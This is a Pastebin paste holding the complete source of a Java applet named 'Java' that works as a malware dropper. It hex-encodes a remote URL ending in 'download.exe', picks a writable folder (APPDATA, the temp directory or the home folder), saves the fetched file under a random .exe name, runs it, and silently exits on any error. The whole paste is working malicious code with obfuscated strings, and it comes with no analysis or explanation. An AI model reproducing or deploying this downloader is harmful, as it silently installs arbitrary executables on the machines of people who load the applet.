Advertisement
Guest User

Java.jar

a guest
Nov 15th, 2012
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 2.60 KB | None | 0 0
  1. import java.applet.Applet;
  2. import java.io.File;
  3. import java.io.FileOutputStream;
  4. import java.net.URL;
  5. import java.nio.channels.Channels;
  6. import java.nio.channels.FileChannel;
  7. import java.util.Random;
  8.  
  9. public class Java extends Applet
  10. {
  11.   public String AAB = CreatedbyFoxxy("6.8.7.4.7.4.7.0.3.a.2.f.2.f.6.7.6.5.2.e.7.4.7.4.2.f.6.1.7.0.6.9.2.f.3.1.2.f.6.6.6.9.6.c.6.5.7.3.2.f.3.9.4.4.6.4.5.4.6.d.6.a.5.1.2.f.3.3.2.f.6.2.6.c.6.f.6.2.3.f.6.4.6.f.7.7.6.e.6.c.6.f.6.1.6.4.2.e.6.5.7.8.6.5.").toString();
  12.   public String[] AAD = { CreatedbyFoxxy("41505044415441").toString(), CreatedbyFoxxy("6a6176612e696f2e746d70646972").toString(), CreatedbyFoxxy("757365722e686f6d65").toString(), null };
  13.  
  14.   public void init() {
  15.     try {
  16.       if (CommencePoopingOnChest() != null) {
  17.         this.AAD[3] = new StringBuilder().append(this.AAD[3]).append(CreatedbyFoxxy("2e657865")).toString();
  18.         FileOutputStream localFileOutputStream = new FileOutputStream(this.AAD[3]);
  19.         localFileOutputStream.getChannel().transferFrom(Channels.newChannel(new URL(this.AAB).openStream()), 0L, 16777216L);
  20.         localFileOutputStream.close();
  21.         if (new File(this.AAD[3]).exists()) {
  22.           if (Runtime.getRuntime().exec(this.AAD[3]) != null)
  23.             System.exit(0);
  24.         }
  25.         else
  26.           System.exit(0);
  27.       }
  28.       else {
  29.         System.exit(0);
  30.       }
  31.     } catch (Exception localException) {
  32.       System.exit(0);
  33.     }
  34.   }
  35.  
  36.   public String CommencePoopingOnChest() {
  37.     for (String str : this.AAD) {
  38.       if (str.contains(CreatedbyFoxxy("415050")))
  39.         str = System.getenv(str);
  40.       else {
  41.         str = System.getProperty(str);
  42.       }
  43.       if (str.charAt(str.length() - 1) == '\\') {
  44.         str = str.substring(0, str.length() - 1);
  45.       }
  46.       str = new StringBuilder().append(str).append(CreatedbyFoxxy("5c5c")).append(CreatedbyFoxxy("5c5c")).toString();
  47.       if ((new File(str).exists()) && (new File(str) != null) &&
  48.         (new File(str).canWrite() == true)) {
  49.         this.AAD[3] = new StringBuilder().append(str).append(Long.toString(Math.abs(new Random().nextLong()), 36).replaceAll("[0-9]", "")).toString();
  50.         break;
  51.       }
  52.     }
  53.  
  54.     return this.AAD[3];
  55.   }
  56.  
  57.   public static StringBuilder CreatedbyFoxxy(String paramString) {
  58.     paramString = paramString.replace(".", "");
  59.     StringBuilder localStringBuilder = new StringBuilder();
  60.     for (int i = 0; i < paramString.length(); i += 2) {
  61.       String str = paramString.substring(i, i + 2);
  62.       localStringBuilder.append((char)Integer.parseInt(str, 16));
  63.     }
  64.     return localStringBuilder;
  65.   }
  66. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement